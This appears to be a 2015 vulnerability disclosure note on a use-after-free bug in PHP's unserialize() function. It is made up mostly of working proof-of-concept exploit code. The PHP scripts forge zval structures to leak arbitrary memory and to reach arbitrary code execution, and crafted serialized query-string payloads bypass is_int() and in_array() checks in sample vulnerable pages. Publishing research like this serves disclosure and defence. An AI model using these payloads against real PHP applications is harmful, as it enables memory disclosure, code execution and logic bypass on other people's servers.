pch-017.md
February 16, 2015 ยท View on GitHub
About PHP's unserialize() Function Use-After-Free Vulnerability
Taoguang Chen <github.com/chtg> - 2015.1.24 @Ryat
i. Leak Arbitrary Memory
Overwrite an fake string ZVAL POC:
<?php
fake_zval();
$data = 'a:2:{i:0;O:8:"stdClass":2:{s:3:"aaa";a:2:{i:0;s:1:"A";i:1;i:2;}s:3:"aaa";i:3;}i:1;O:8:"stdClass":6:{i:2;i:4;i:3;i:5;i:4;s:2:"AA";i:5;s:'.strlen($zval).':"'.$zval.'";i:6;s:'.strlen($zval).':"'.$zval.'";s:3:"ccc";R:4;}}';
$x = unserialize($data);
$y = serialize($x);
var_dump($y);
function fake_zval()
{
global $zval;
$addr = 0x100000000;
$zval = ptr2str($addr);
$zval .= ptr2str(0x400);
$zval .= "\x00\x00\x00\x00";
$zval .= "\x06";
$zval .= "\x00";
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= ptr2str(0);
}
function ptr2str($ptr)
{
$out = "";
for ($i=0; $i<8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
ii. Execute Arbitrary Code
Overwrite an fake object ZVAL PoC:
<?php
fake_zval();
$data = 'a:7:{i:0;O:8:"stdClass":2:{s:3:"aaa";a:2:{i:0;s:1:"A";i:1;i:2;}s:3:"aaa";i:3;}i:2;i:4;i:3;i:5;i:4;s:2:"AA";i:5;s:'.strlen($zval).':"'.$zval.'";i:6;s:'.strlen($zval).':"'.$zval.'";s:3:"ccc";O:8:"stdClass":2:{s:3:"ddd";a:2:{i:0;R:4;i:1;i:2;}s:3:"ddd";i:3;}}';
$x = unserialize($data);
var_dump($x);
function fake_zval()
{
global $zval;
$addr = 0x41414141;
$zval = ptr2str($addr);
$zval .= ptr2str(0x11223344);
$zval .= "\x00\x00\x00\x00";
$zval .= "\x05";
$zval .= "\x00";
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= ptr2str(0);
}
function ptr2str($ptr)
{
$out = "";
for ($i=0; $i<8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
iii. Bypass Syntax Logical
Code sample 1:
$data = unserialize($_GET['data']);
if (is_int($data['ccc'])) {
$ddd = 'ddd';
$eee = 'eee';
$fff = 'fff'.$_GET['fff'];
$ggg = 'ggg';
var_dump($data['ccc']);
} else {
echo 'fuck';
}
Overwrite $data['ccc'] and bypass in_int()
PoC:
foo.php?data=a:3:{i:0;O:8:"stdClass":2:{s:3:"aaa";a:2:{i:0;i:1;i:1;i:2;}s:3:"aaa";i:3;}i:2;i:4;s:3:"ccc";R:5;}&fff=ryat
// Result: string(7) "fffryat"
Code sample 2:
<?php
$data = unserialize($_GET['data']);
if (is_string($data['ccc']) && in_array($data['ccc'], array('ccc'))) {
$ddd = 'ddd'.$_GET['ddd'];
$eee = 'eee';
var_dump($data['ccc']);
} else {
echo 'fuck';
}
Overwrite $data['ccc'] and bypass in_array()
PoC:
foo.php?data=a:4:{i:0;O:8:"stdClass":2:{s:3:"aaa";a:2:{i:0;s:1:"A";i:1;i:2;}s:3:"aaa";i:3;}i:2;i:4;i:3;i:5;s:3:"ccc";R:4;}&ddd=ryat
// Result: string(7) "dddryat"
iv. Others?
v. Reference
https://bugs.php.net/bug.php?id=68594